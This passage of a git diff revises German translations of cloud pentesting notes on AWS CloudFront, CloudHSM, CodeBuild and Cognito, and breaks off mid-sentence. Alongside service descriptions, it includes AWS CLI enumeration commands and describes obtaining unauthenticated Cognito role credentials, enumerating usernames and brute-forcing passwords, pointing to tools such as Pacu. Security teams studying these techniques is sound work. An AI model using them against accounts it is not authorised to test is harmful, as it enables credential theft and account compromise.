CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die Berechtigungen, die für Projektbenutzer** (genannt Teammitglieder) erforderlich sind. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 5f5346e3a..9c8b13a73 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,7 +4,7 @@ ## CloudFront -CloudFront ist AWS's **Content Delivery Network, die die Verteilung** Ihrer statischen und dynamischen Inhalte über ihr weltweites Netzwerk von Edge-Standorten beschleunigt. Wenn Sie eine Anfrage für Inhalte stellen, die Sie über Amazon CloudFront hosten, wird die Anfrage an den nächstgelegenen Edge-Standort weitergeleitet, der die niedrigste Latenz bietet, um die beste Leistung zu gewährleisten. Wenn **CloudFront-Zugriffsprotokolle** aktiviert sind, können Sie die Anfragen von jedem Benutzer aufzeichnen, der Zugriff auf Ihre Website und Verteilung anfordert. Wie bei S3-Zugriffsprotokollen werden diese Protokolle ebenfalls **auf Amazon S3 für dauerhafte und persistente Speicherung** gespeichert. Es fallen keine Gebühren für die Aktivierung des Protokollierens selbst an, jedoch werden Ihnen die Kosten für den von S3 genutzten Speicher in Rechnung gestellt. +CloudFront ist das **Content Delivery Network von AWS, das die Verteilung** Ihrer statischen und dynamischen Inhalte über sein weltweites Netzwerk von Edge-Standorten beschleunigt. Wenn Sie eine Anfrage für Inhalte stellen, die Sie über Amazon CloudFront hosten, wird die Anfrage an den nächstgelegenen Edge-Standort weitergeleitet, der die niedrigste Latenz bietet, um die beste Leistung zu gewährleisten. Wenn **CloudFront-Zugriffsprotokolle** aktiviert sind, können Sie die Anfragen jedes Benutzers aufzeichnen, der Zugriff auf Ihre Website und Verteilung anfordert. Wie bei S3-Zugriffsprotokollen werden auch diese Protokolle **auf Amazon S3 für dauerhafte und persistente Speicherung** gespeichert. Es fallen keine Gebühren für die Aktivierung des Protokollierens selbst an, jedoch werden Ihnen die Speicherkosten von S3 in Rechnung gestellt, da die Protokolle dort gespeichert werden. Die Protokolldateien erfassen Daten über einen bestimmten Zeitraum, und die Anzahl der Protokolldateien, die generiert werden, hängt von der Anzahl der Anfragen ab, die Amazon CloudFront für diese Verteilung erhält. Es ist wichtig zu wissen, dass diese Protokolldateien nicht auf S3 erstellt oder geschrieben werden. S3 ist einfach der Ort, an den sie geliefert werden, sobald die Protokolldatei voll ist. **Amazon CloudFront behält diese Protokolle, bis sie bereit sind, an S3 geliefert zu werden**. Je nach Größe dieser Protokolldateien kann diese Lieferung **zwischen ein und 24 Stunden** dauern. @@ -12,7 +12,7 @@ Die Protokolldateien erfassen Daten über einen bestimmten Zeitraum, und die Anz ### Funktionen -Sie können Funktionen in CloudFront erstellen. Diese Funktionen haben ihren **Endpunkt in CloudFront** definiert und führen einen deklarierten **NodeJS-Code** aus. Dieser Code wird in einer **Sandbox** auf einer unter AWS verwalteten Maschine ausgeführt (Sie benötigen einen Sandbox-Umgehung, um auf das zugrunde liegende Betriebssystem zuzugreifen). +Sie können Funktionen in CloudFront erstellen. Diese Funktionen haben ihren **Endpunkt in CloudFront** definiert und führen einen deklarierten **NodeJS-Code** aus. Dieser Code wird in einer **Sandbox** auf einer Maschine ausgeführt, die unter einer von AWS verwalteten Maschine läuft (Sie benötigen einen Sandbox-Umgehung, um in das zugrunde liegende Betriebssystem zu entkommen). Da die Funktionen nicht im AWS-Konto der Benutzer ausgeführt werden, ist keine IAM-Rolle angehängt, sodass kein direkter Privilegienausbau durch den Missbrauch dieser Funktion möglich ist. @@ -27,13 +27,13 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` -## Unauthenticated Access +## Unauthentifizierter Zugriff {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## Nach der Ausnutzung {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 078f0b21d..546e64977 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,47 +4,47 @@ ## HSM - Hardware Security Module -Cloud HSM ist ein FIPS 140 Level zwei validiertes **Hardwaregerät** zur sicheren Speicherung kryptografischer Schlüssel (beachten Sie, dass CloudHSM ein Hardwaregerät ist, es ist kein virtualisierter Dienst). Es handelt sich um ein SafeNetLuna 7000 Gerät mit 5.3.13 vorinstalliert. Es gibt zwei Firmware-Versionen, und welche Sie wählen, hängt wirklich von Ihren genauen Bedürfnissen ab. Eine ist für die FIPS 140-2-Konformität und es gab eine neuere Version, die verwendet werden kann. +Cloud HSM ist ein FIPS 140 Level zwei validiertes **Hardwaregerät** zur sicheren Speicherung kryptografischer Schlüssel (beachten Sie, dass CloudHSM ein Hardwaregerät ist, es ist kein virtualisierter Dienst). Es handelt sich um ein SafeNetLuna 7000 Gerät mit vorinstallierter Version 5.3.13. Es gibt zwei Firmware-Versionen, und welche Sie wählen, hängt wirklich von Ihren genauen Bedürfnissen ab. Eine ist für die FIPS 140-2-Konformität und es gab eine neuere Version, die verwendet werden kann. -Das ungewöhnliche Merkmal von CloudHSM ist, dass es sich um ein physisches Gerät handelt und daher **nicht mit anderen Kunden geteilt wird**, oder wie es allgemein genannt wird, multi-tenant. Es ist ein dediziertes Single-Tenant-Gerät, das ausschließlich für Ihre Workloads zur Verfügung steht. +Das ungewöhnliche Merkmal von CloudHSM ist, dass es sich um ein physisches Gerät handelt, und daher **nicht mit anderen Kunden geteilt wird**, oder wie es allgemein genannt wird, multi-tenant. Es ist ein dediziertes Single-Tenant-Gerät, das ausschließlich für Ihre Workloads zur Verfügung steht. Typischerweise ist ein Gerät innerhalb von 15 Minuten verfügbar, vorausgesetzt, es gibt Kapazität, aber in einigen Zonen könnte dies nicht der Fall sein. Da dies ein physisches Gerät ist, das Ihnen gewidmet ist, **werden die Schlüssel auf dem Gerät gespeichert**. Schlüssel müssen entweder **auf ein anderes Gerät repliziert**, in Offline-Speicher gesichert oder auf ein Standby-Gerät exportiert werden. **Dieses Gerät wird nicht durch** S3 oder einen anderen Dienst bei AWS wie KMS unterstützt. In **CloudHSM** müssen Sie **den Dienst selbst skalieren**. Sie müssen genügend CloudHSM-Geräte bereitstellen, um Ihre Verschlüsselungsbedürfnisse basierend auf den Verschlüsselungsalgorithmen, die Sie für Ihre Lösung implementieren möchten, zu erfüllen.\ -Die Skalierung des Key Management Service wird von AWS durchgeführt und skaliert automatisch nach Bedarf, sodass mit dem Wachstum Ihrer Nutzung möglicherweise auch die Anzahl der benötigten CloudHSM-Geräte steigt. Behalten Sie dies im Hinterkopf, während Sie Ihre Lösung skalieren, und wenn Ihre Lösung Auto-Scaling hat, stellen Sie sicher, dass Ihre maximale Skalierung mit genügend CloudHSM-Geräten berücksichtigt wird, um die Lösung zu bedienen. +Die Skalierung des Key Management Service wird von AWS durchgeführt und skaliert automatisch nach Bedarf, sodass mit dem Wachstum Ihrer Nutzung auch die Anzahl der benötigten CloudHSM-Geräte steigen kann. Behalten Sie dies im Hinterkopf, während Sie Ihre Lösung skalieren, und wenn Ihre Lösung über Auto-Scaling verfügt, stellen Sie sicher, dass Ihre maximale Skalierung mit genügend CloudHSM-Geräten berücksichtigt wird, um die Lösung zu bedienen. Genau wie bei der Skalierung liegt die **Leistung bei Ihnen mit CloudHSM**. Die Leistung variiert je nach verwendetem Verschlüsselungsalgorithmus und wie oft Sie auf die Schlüssel zugreifen oder sie abrufen müssen, um die Daten zu verschlüsseln. Die Leistung des Key Management Service wird von Amazon verwaltet und skaliert automatisch, wenn die Nachfrage es erfordert. Die Leistung von CloudHSM wird durch das Hinzufügen weiterer Geräte erreicht, und wenn Sie mehr Leistung benötigen, fügen Sie entweder Geräte hinzu oder ändern die Verschlüsselungsmethode auf den schnelleren Algorithmus. Wenn Ihre Lösung **multi-region** ist, sollten Sie mehrere **CloudHSM-Geräte in der zweiten Region hinzufügen und die interregionale Konnektivität mit einer privaten VPN-Verbindung** oder einer anderen Methode sicherstellen, um den Datenverkehr auf jeder Ebene der Verbindung immer zu schützen. Wenn Sie eine Multi-Region-Lösung haben, müssen Sie darüber nachdenken, wie Sie **Schlüssel replizieren und zusätzliche CloudHSM-Geräte in den Regionen einrichten, in denen Sie tätig sind**. Sie können sehr schnell in ein Szenario geraten, in dem Sie sechs oder acht Geräte über mehrere Regionen verteilt haben, was eine vollständige Redundanz Ihrer Verschlüsselungsschlüssel ermöglicht. -**CloudHSM** ist ein Unternehmensdienst für die sichere Speicherung von Schlüsseln und kann als **Root of Trust für ein Unternehmen** verwendet werden. Es kann private Schlüssel in PKI und Schlüssel von Zertifizierungsstellen in X509-Implementierungen speichern. Neben symmetrischen Schlüsseln, die in symmetrischen Algorithmen wie AES verwendet werden, **speichert KMS nur symmetrische Schlüssel und schützt sie physisch (kann nicht als Zertifizierungsstelle fungieren)**, sodass, wenn Sie PKI- und CA-Schlüssel speichern müssen, ein oder zwei oder drei CloudHSMs Ihre Lösung sein könnten. +**CloudHSM** ist ein Unternehmensdienst für die sichere Speicherung von Schlüsseln und kann als **Root of Trust für ein Unternehmen** verwendet werden. Es kann private Schlüssel in PKI und Schlüssel von Zertifizierungsstellen in X509-Implementierungen speichern. Neben symmetrischen Schlüsseln, die in symmetrischen Algorithmen wie AES verwendet werden, **speichert KMS nur symmetrische Schlüssel und schützt sie physisch (kann nicht als Zertifizierungsstelle fungieren)**, sodass, wenn Sie PKI- und CA-Schlüssel speichern müssen, ein oder zwei oder drei CloudHSM Ihre Lösung sein könnten. -**CloudHSM ist erheblich teurer als der Key Management Service**. CloudHSM ist ein Hardwaregerät, sodass Sie feste Kosten für die Bereitstellung des CloudHSM-Geräts haben, dann fallen stündliche Kosten für den Betrieb des Geräts an. Die Kosten werden mit der Anzahl der benötigten CloudHSM-Geräte multipliziert, um Ihre spezifischen Anforderungen zu erfüllen.\ -Zusätzlich müssen beim Kauf von Drittanbietersoftware wie SafeNet ProtectV-Software-Suiten und Integrationszeit und -aufwand Überlegungen angestellt werden. Der Key Management Service basiert auf der Nutzung und hängt von der Anzahl der Schlüssel ab, die Sie haben, sowie von den Eingabe- und Ausgabeoperationen. Da das Key Management nahtlose Integration mit vielen AWS-Diensten bietet, sollten die Integrationskosten erheblich niedriger sein. Kosten sollten als sekundärer Faktor in Verschlüsselungslösungen betrachtet werden. Verschlüsselung wird typischerweise für Sicherheit und Compliance verwendet. +**CloudHSM ist erheblich teurer als der Key Management Service**. CloudHSM ist ein Hardwaregerät, sodass Sie feste Kosten für die Bereitstellung des CloudHSM-Geräts haben, dann fallen stündliche Kosten für den Betrieb des Geräts an. Die Kosten werden mit der Anzahl der CloudHSM-Geräte multipliziert, die erforderlich sind, um Ihre spezifischen Anforderungen zu erfüllen.\ +Zusätzlich müssen auch die Kosten für den Kauf von Drittanbietersoftware wie SafeNet ProtectV-Software-Suiten sowie Integrationszeit und -aufwand berücksichtigt werden. Der Key Management Service basiert auf der Nutzung und hängt von der Anzahl der Schlüssel ab, die Sie haben, sowie von den Eingabe- und Ausgabeoperationen. Da das Key Management eine nahtlose Integration mit vielen AWS-Diensten bietet, sollten die Integrationskosten erheblich niedriger sein. Kosten sollten als sekundärer Faktor in Verschlüsselungslösungen betrachtet werden. Verschlüsselung wird typischerweise für Sicherheit und Compliance verwendet. -**Mit CloudHSM haben nur Sie Zugriff auf die Schlüssel** und ohne zu sehr ins Detail zu gehen, verwalten Sie mit CloudHSM Ihre eigenen Schlüssel. **Mit KMS verwalten Sie und Amazon Ihre Schlüssel gemeinsam**. AWS hat viele Richtlinien-Schutzmaßnahmen gegen Missbrauch und **kann dennoch in keiner der beiden Lösungen auf Ihre Schlüssel zugreifen**. Der Hauptunterschied besteht in der Compliance in Bezug auf den Besitz und die Verwaltung von Schlüsseln, und mit CloudHSM handelt es sich um ein Hardwaregerät, das Sie verwalten und warten, mit exklusivem Zugriff nur für Sie. +**Mit CloudHSM haben nur Sie Zugriff auf die Schlüssel** und ohne zu sehr ins Detail zu gehen, verwalten Sie mit CloudHSM Ihre eigenen Schlüssel. **Mit KMS verwalten Sie und Amazon Ihre Schlüssel gemeinsam**. AWS hat viele Richtlinien-Schutzmaßnahmen gegen Missbrauch und **kann dennoch in keiner der beiden Lösungen auf Ihre Schlüssel zugreifen**. Der Hauptunterschied besteht in der Compliance in Bezug auf den Schlüsselbesitz und die Verwaltung, und mit CloudHSM handelt es sich um ein Hardwaregerät, das Sie verwalten und warten, mit exklusivem Zugriff nur für Sie. ### CloudHSM Vorschläge -1. Setzen Sie CloudHSM immer in einer **HA-Konfiguration** mit mindestens zwei Geräten in **getrennten Verfügbarkeitszonen** ein, und wenn möglich, setzen Sie ein drittes entweder vor Ort oder in einer anderen Region bei AWS ein. -2. Seien Sie vorsichtig, wenn Sie ein **CloudHSM** **initialisieren**. Diese Aktion **wird die Schlüssel zerstören**, also haben Sie entweder eine andere Kopie der Schlüssel oder seien Sie sich absolut sicher, dass Sie diese Schlüssel nicht benötigen und niemals benötigen werden, um Daten zu entschlüsseln. -3. CloudHSM unterstützt nur **bestimmte Versionen von Firmware** und Software. Stellen Sie vor einem Update sicher, dass die Firmware und/oder Software von AWS unterstützt wird. Sie können immer den AWS-Support kontaktieren, um zu überprüfen, ob der Upgrade-Leitfaden unklar ist. -4. Die **Netzwerkkonfiguration sollte niemals geändert werden.** Denken Sie daran, dass es sich in einem AWS-Rechenzentrum befindet und AWS die Basis-Hardware für Sie überwacht. Das bedeutet, dass sie die Hardware nur ersetzen, wenn sie wissen, dass sie ausgefallen ist. -5. Der **SysLog-Forwarder sollte nicht entfernt oder geändert** werden. Sie können immer einen SysLog-Forwarder hinzufügen, um die Protokolle an Ihr eigenes Sammlungstool weiterzuleiten. -6. Die **SNMP**-Konfiguration hat die gleichen grundlegenden Einschränkungen wie das Netzwerk und den SysLog-Ordner. Diese **sollte nicht geändert oder entfernt** werden. Eine **zusätzliche** SNMP-Konfiguration ist in Ordnung, stellen Sie nur sicher, dass Sie die bereits auf dem Gerät vorhandene nicht ändern. +1. Setzen Sie CloudHSM immer in einem **HA-Setup** mit mindestens zwei Geräten in **getrennten Verfügbarkeitszonen** ein, und wenn möglich, setzen Sie ein drittes entweder vor Ort oder in einer anderen Region bei AWS ein. +2. Seien Sie vorsichtig, wenn Sie **CloudHSM initialisieren**. Diese Aktion **wird die Schlüssel zerstören**, also haben Sie entweder eine andere Kopie der Schlüssel oder seien Sie sich absolut sicher, dass Sie diese Schlüssel nicht benötigen und niemals benötigen werden, um Daten zu entschlüsseln. +3. CloudHSM unterstützt nur **bestimmte Firmware- und Softwareversionen**. Stellen Sie vor einem Update sicher, dass die Firmware und/oder Software von AWS unterstützt wird. Sie können immer den AWS-Support kontaktieren, um zu überprüfen, ob der Upgrade-Leitfaden unklar ist. +4. Die **Netzwerkkonfiguration sollte niemals geändert werden.** Denken Sie daran, dass es sich in einem AWS-Rechenzentrum befindet und AWS die Basis-Hardware für Sie überwacht. Das bedeutet, dass sie die Hardware für Sie ersetzen, wenn sie ausfällt, aber nur, wenn sie wissen, dass sie ausgefallen ist. +5. Der **SysLog-Forwarder sollte nicht entfernt oder geändert werden**. Sie können immer einen SysLog-Forwarder hinzufügen, um die Protokolle an Ihr eigenes Sammlungstool weiterzuleiten. +6. Die **SNMP**-Konfiguration hat die gleichen grundlegenden Einschränkungen wie das Netzwerk und den SysLog-Ordner. Diese **sollte nicht geändert oder entfernt werden**. Eine **zusätzliche** SNMP-Konfiguration ist in Ordnung, stellen Sie nur sicher, dass Sie die bereits auf dem Gerät vorhandene nicht ändern. 7. Eine weitere interessante Best Practice von AWS ist, **die NTP-Konfiguration nicht zu ändern**. Es ist unklar, was passieren würde, wenn Sie dies tun, also denken Sie daran, dass, wenn Sie nicht dieselbe NTP-Konfiguration für den Rest Ihrer Lösung verwenden, Sie zwei Zeitquellen haben könnten. Seien Sie sich dessen bewusst und wissen Sie, dass das CloudHSM bei der bestehenden NTP-Quelle bleiben muss. Die anfängliche Startgebühr für CloudHSM beträgt 5.000 USD, um das Hardwaregerät für Ihre Nutzung bereitzustellen, dann gibt es eine stündliche Gebühr für den Betrieb von CloudHSM, die derzeit bei 1,88 USD pro Betriebsstunde liegt, oder etwa 1.373 USD pro Monat. -Der häufigste Grund für die Verwendung von CloudHSM sind Compliance-Standards, die Sie aus regulatorischen Gründen erfüllen müssen. **KMS bietet keine Unterstützung für asymmetrische Schlüssel. CloudHSM ermöglicht es Ihnen, asymmetrische Schlüssel sicher zu speichern**. +Der häufigste Grund für die Nutzung von CloudHSM sind Compliance-Standards, die Sie aus regulatorischen Gründen erfüllen müssen. **KMS bietet keinen Datensupport für asymmetrische Schlüssel. CloudHSM ermöglicht es Ihnen, asymmetrische Schlüssel sicher zu speichern**. -Der **öffentliche Schlüssel wird während der Bereitstellung auf dem HSM-Gerät installiert**, sodass Sie auf die CloudHSM-Instanz über SSH zugreifen können. +Der **öffentliche Schlüssel wird während der Bereitstellung auf dem HSM-Gerät installiert**, sodass Sie über SSH auf die CloudHSM-Instanz zugreifen können. ### Was ist ein Hardware Security Module -Ein Hardware-Sicherheitsmodul (HSM) ist ein dediziertes kryptografisches Gerät, das zur Generierung, Speicherung und Verwaltung kryptografischer Schlüssel und zum Schutz sensibler Daten verwendet wird. Es ist so konzipiert, dass es ein hohes Maß an Sicherheit bietet, indem es die kryptografischen Funktionen physisch und elektronisch vom Rest des Systems isoliert. +Ein Hardware-Sicherheitsmodul (HSM) ist ein dediziertes kryptografisches Gerät, das zur Generierung, Speicherung und Verwaltung kryptografischer Schlüssel sowie zum Schutz sensibler Daten verwendet wird. Es ist so konzipiert, dass es ein hohes Maß an Sicherheit bietet, indem es die kryptografischen Funktionen physisch und elektronisch vom Rest des Systems isoliert. Die Funktionsweise eines HSM kann je nach spezifischem Modell und Hersteller variieren, aber im Allgemeinen treten die folgenden Schritte auf: @@ -54,9 +54,9 @@ Die Funktionsweise eines HSM kann je nach spezifischem Modell und Hersteller var 4. **Kryptografische Operationen**: Das HSM führt eine Reihe von kryptografischen Operationen durch, einschließlich Verschlüsselung, Entschlüsselung, digitale Signatur und Schlüsselaustausch. Diese Operationen werden **innerhalb der sicheren Umgebung des HSM** durchgeführt, die unbefugten Zugriff und Manipulation schützt. 5. **Audit-Protokollierung**: Das HSM protokolliert alle kryptografischen Operationen und Zugriffsversuche, die für Compliance- und Sicherheitsprüfungszwecke verwendet werden können. -HSMs können für eine Vielzahl von Anwendungen verwendet werden, einschließlich sicherer Online-Transaktionen, digitaler Zertifikate, sicherer Kommunikation und Datenverschlüsselung. Sie werden häufig in Branchen eingesetzt, die ein hohes Maß an Sicherheit erfordern, wie z.B. Finanzen, Gesundheitswesen und Regierung. +HSMs können für eine Vielzahl von Anwendungen verwendet werden, einschließlich sicherer Online-Transaktionen, digitaler Zertifikate, sicherer Kommunikation und Datenverschlüsselung. Sie werden häufig in Branchen eingesetzt, die ein hohes Maß an Sicherheit erfordern, wie z.B. Finanzwesen, Gesundheitswesen und Regierung. -Insgesamt macht das hohe Maß an Sicherheit, das von HSMs bereitgestellt wird, es **sehr schwierig, rohe Schlüssel von ihnen zu extrahieren, und der Versuch, dies zu tun, wird oft als Sicherheitsverletzung angesehen**. Es kann jedoch **bestimmte Szenarien** geben, in denen ein **roher Schlüssel** von autorisiertem Personal für spezifische Zwecke extrahiert werden könnte, wie im Falle eines Schlüsselwiederherstellungsverfahrens. +Insgesamt macht das hohe Maß an Sicherheit, das HSMs bieten, es **sehr schwierig, rohe Schlüssel von ihnen zu extrahieren, und der Versuch, dies zu tun, wird oft als Sicherheitsverletzung angesehen**. Es kann jedoch **bestimmte Szenarien** geben, in denen ein **roher Schlüssel von autorisiertem Personal für spezifische Zwecke extrahiert werden könnte, z.B. im Falle eines Schlüsselwiederherstellungsverfahrens.** ### Enumeration ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 8c7ddf3e5..80f45b0ae 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,7 +4,7 @@ ## CodeBuild -AWS **CodeBuild** wird als **vollständig verwalteter Continuous Integration-Service** anerkannt. Der Hauptzweck dieses Dienstes besteht darin, die Abfolge des Kompilierens von Quellcode, der Ausführung von Tests und der Verpackung der Software für Bereitstellungszwecke zu automatisieren. Der überwiegende Vorteil von CodeBuild liegt in seiner Fähigkeit, die Notwendigkeit für Benutzer zu verringern, ihre Build-Server bereitzustellen, zu verwalten und zu skalieren. Diese Bequemlichkeit ergibt sich daraus, dass der Dienst diese Aufgaben selbst verwaltet. Wesentliche Funktionen von AWS CodeBuild umfassen: +AWS **CodeBuild** wird als **vollständig verwalteter Continuous Integration-Service** anerkannt. Der Hauptzweck dieses Dienstes besteht darin, die Abfolge des Kompilierens von Quellcode, der Ausführung von Tests und der Verpackung der Software für Bereitstellungszwecke zu automatisieren. Der überwiegende Vorteil von CodeBuild liegt in seiner Fähigkeit, die Notwendigkeit für Benutzer zu verringern, ihre Build-Server bereitzustellen, zu verwalten und zu skalieren. Dieser Komfort ergibt sich daraus, dass der Dienst diese Aufgaben selbst verwaltet. Wesentliche Funktionen von AWS CodeBuild umfassen: 1. **Verwalteter Dienst**: CodeBuild verwaltet und skaliert die Build-Server, wodurch Benutzer von der Serverwartung befreit werden. 2. **Continuous Integration**: Es integriert sich in den Entwicklungs- und Bereitstellungsworkflow und automatisiert die Build- und Testphasen des Softwarefreigabeprozesses. @@ -22,9 +22,9 @@ Die gespeicherten Anmeldeinformationen (Tokens, Passwörter...) werden **von Cod #### Benutzerdefinierte Quellanmeldeinformationen -Je nach Repository-Plattform (Github, Gitlab und Bitbucket) werden verschiedene Optionen bereitgestellt. Aber im Allgemeinen wird jede Option, die **ein Token oder ein Passwort speichern muss, als Geheimnis im Secrets Manager gespeichert**. +Je nach Repository-Plattform (Github, Gitlab und Bitbucket) werden unterschiedliche Optionen bereitgestellt. Aber im Allgemeinen wird jede Option, die **ein Token oder ein Passwort speichern muss, als Geheimnis im Secrets Manager gespeichert**. -Dies ermöglicht es, dass **verschiedene Codebuild-Projekte unterschiedliche konfigurierte Zugriffe** auf die Anbieter verwenden, anstatt nur den konfigurierten Standardzugriff zu nutzen. +Dies ermöglicht es, dass **verschiedene Codebuild-Projekte unterschiedliche konfigurierte Zugriffe** auf die Anbieter verwenden, anstatt nur den konfigurierten Standardzugang zu nutzen. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 4d9e75c78..2bfc041ee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -8,7 +8,7 @@ Amazon Cognito wird für **Authentifizierung, Autorisierung und Benutzerverwaltu Zentral für Amazon Cognito sind zwei Hauptkomponenten: -1. **Benutzerpools**: Dies sind Verzeichnisse, die für die Benutzer Ihrer App entworfen wurden und **Registrierungs- und Anmeldefunktionen** bieten. +1. **Benutzerpools**: Dies sind Verzeichnisse, die für Ihre App-Benutzer entworfen wurden und **Registrierungs- und Anmeldefunktionen** bieten. 2. **Identitätspools**: Diese Pools sind entscheidend für die **Autorisierung von Benutzern zum Zugriff auf verschiedene AWS-Dienste**. Sie sind nicht direkt am Anmelde- oder Registrierungsprozess beteiligt, sind jedoch entscheidend für den Ressourcen Zugriff nach der Authentifizierung. ### **Benutzerpools** @@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id ``` ### Identity Pools - Unauthenticated Enumeration -Nur **das Wissen um die Identity Pool ID** könnte es Ihnen ermöglichen, **die Anmeldeinformationen der Rolle, die mit nicht authentifizierten** Benutzern verbunden ist (falls vorhanden), **zu erhalten**. [**Hier überprüfen**](cognito-identity-pools.md#accessing-iam-roles). +Nur **das Wissen um die Identity Pool ID** könnte Ihnen ermöglichen, **die Anmeldeinformationen der Rolle, die mit nicht authentifizierten** Benutzern verbunden ist (falls vorhanden), **zu erhalten**. [**Überprüfen Sie hier, wie**](cognito-identity-pools.md#accessing-iam-roles). ### User Pools - Unauthenticated Enumeration -Selbst wenn Sie **keinen gültigen Benutzernamen** innerhalb von Cognito kennen, könnten Sie in der Lage sein, **gültige** **Benutzernamen** zu **enumerieren**, **BF** die **Passwörter** oder sogar **einen neuen Benutzer zu registrieren**, nur **mit dem Wissen um die App-Client-ID** (die normalerweise im Quellcode zu finden ist). [**Hier überprüfen**](cognito-user-pools.md#registration)**.** +Selbst wenn Sie **keinen gültigen Benutzernamen** innerhalb von Cognito kennen, könnten Sie in der Lage sein, **gültige** **Benutzernamen** zu **enumerieren**, **BF** die **Passwörter** oder sogar **einen neuen Benutzer zu registrieren**, nur **mit dem Wissen um die App-Client-ID** (die normalerweise im Quellcode zu finden ist). [**Überprüfen Sie hier, wie**](cognito-user-pools.md#registration)**.** ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index bd70be52e..cb118a7fb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,7 +4,7 @@ ## Grundlegende Informationen -Identity Pools spielen eine entscheidende Rolle, indem sie es Ihren Benutzern ermöglichen, **temporäre Anmeldeinformationen** zu **erwerben**. Diese Anmeldeinformationen sind entscheidend für den Zugriff auf verschiedene AWS-Dienste, einschließlich, aber nicht beschränkt auf Amazon S3 und DynamoDB. Ein bemerkenswertes Merkmal von Identity Pools ist die Unterstützung sowohl für anonyme Gastbenutzer als auch für eine Reihe von Identitätsanbietern zur Benutzerauthentifizierung. Die unterstützten Identitätsanbieter umfassen: +Identity Pools spielen eine entscheidende Rolle, indem sie es Ihren Benutzern ermöglichen, **temporäre Anmeldeinformationen** zu **erwerben**. Diese Anmeldeinformationen sind unerlässlich für den Zugriff auf verschiedene AWS-Dienste, einschließlich, aber nicht beschränkt auf Amazon S3 und DynamoDB. Ein bemerkenswertes Merkmal von Identity Pools ist die Unterstützung sowohl für anonyme Gastbenutzer als auch für eine Reihe von Identitätsanbietern zur Benutzerauthentifizierung. Die unterstützten Identitätsanbieter umfassen: - Amazon Cognito Benutzerpools - Soziale Anmeldeoptionen wie Facebook, Google, Login mit Amazon und Anmelden mit Apple @@ -37,15 +37,15 @@ print(response) Um Identity Pool-Sitzungen zu generieren, müssen Sie zuerst **eine Identity ID generieren**. Diese Identity ID ist die **Identifikation der Sitzung dieses Benutzers**. Diese Identifikationen können bis zu 20 Datensätze haben, die bis zu 1 MB an Schlüssel-Wert-Paaren speichern können. -Dies ist **nützlich, um Informationen über einen Benutzer zu speichern** (der immer dieselbe Identity ID verwenden wird). +Dies ist **nützlich, um Informationen eines Benutzers zu speichern** (der immer dieselbe Identity ID verwenden wird). Darüber hinaus ist der Dienst **cognito-sync** der Dienst, der es ermöglicht, **diese Informationen zu verwalten und zu synchronisieren** (in den Datensätzen, Informationen in Streams und SNS-Nachrichten zu senden...). -### Tools für pentesting +### Tools für Pentesting - [Pacu](https://github.com/RhinoSecurityLabs/pacu), das AWS-Exploitation-Framework, umfasst jetzt die Module "cognito\_\_enum" und "cognito\_\_attack", die die Enumeration aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute, die für die Zugriffskontrolle verwendet werden, usw. kennzeichnen, sowie die Benutzererstellung (einschließlich MFA-Unterstützung) und Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, verwendbaren Identity Pool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw. automatisieren. -Für eine Beschreibung der Funktionen der Module siehe Teil 2 des [Blogbeitrags](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Für Installationsanweisungen siehe die Hauptseite von [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Für eine Beschreibung der Funktionen der Module siehe Teil 2 des [Blogbeitrags](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Für Installationsanweisungen siehe die Hauptseite [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Nutzung @@ -69,18 +69,18 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -For more information check https://github.com/padok-team/cognito-scanner +Für weitere Informationen siehe https://github.com/padok-team/cognito-scanner ## Zugriff auf IAM-Rollen ### Unauthentifiziert -Das Einzige, was ein Angreifer wissen muss, um **AWS-Anmeldeinformationen** in einer Cognito-App als unauthentifizierter Benutzer zu **erhalten**, ist die **Identity Pool ID**, und diese **ID muss im Web-/Mobilanwendung** fest codiert sein, damit sie verwendet werden kann. Eine ID sieht so aus: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (sie ist nicht bruteforcebar). +Das einzige, was ein 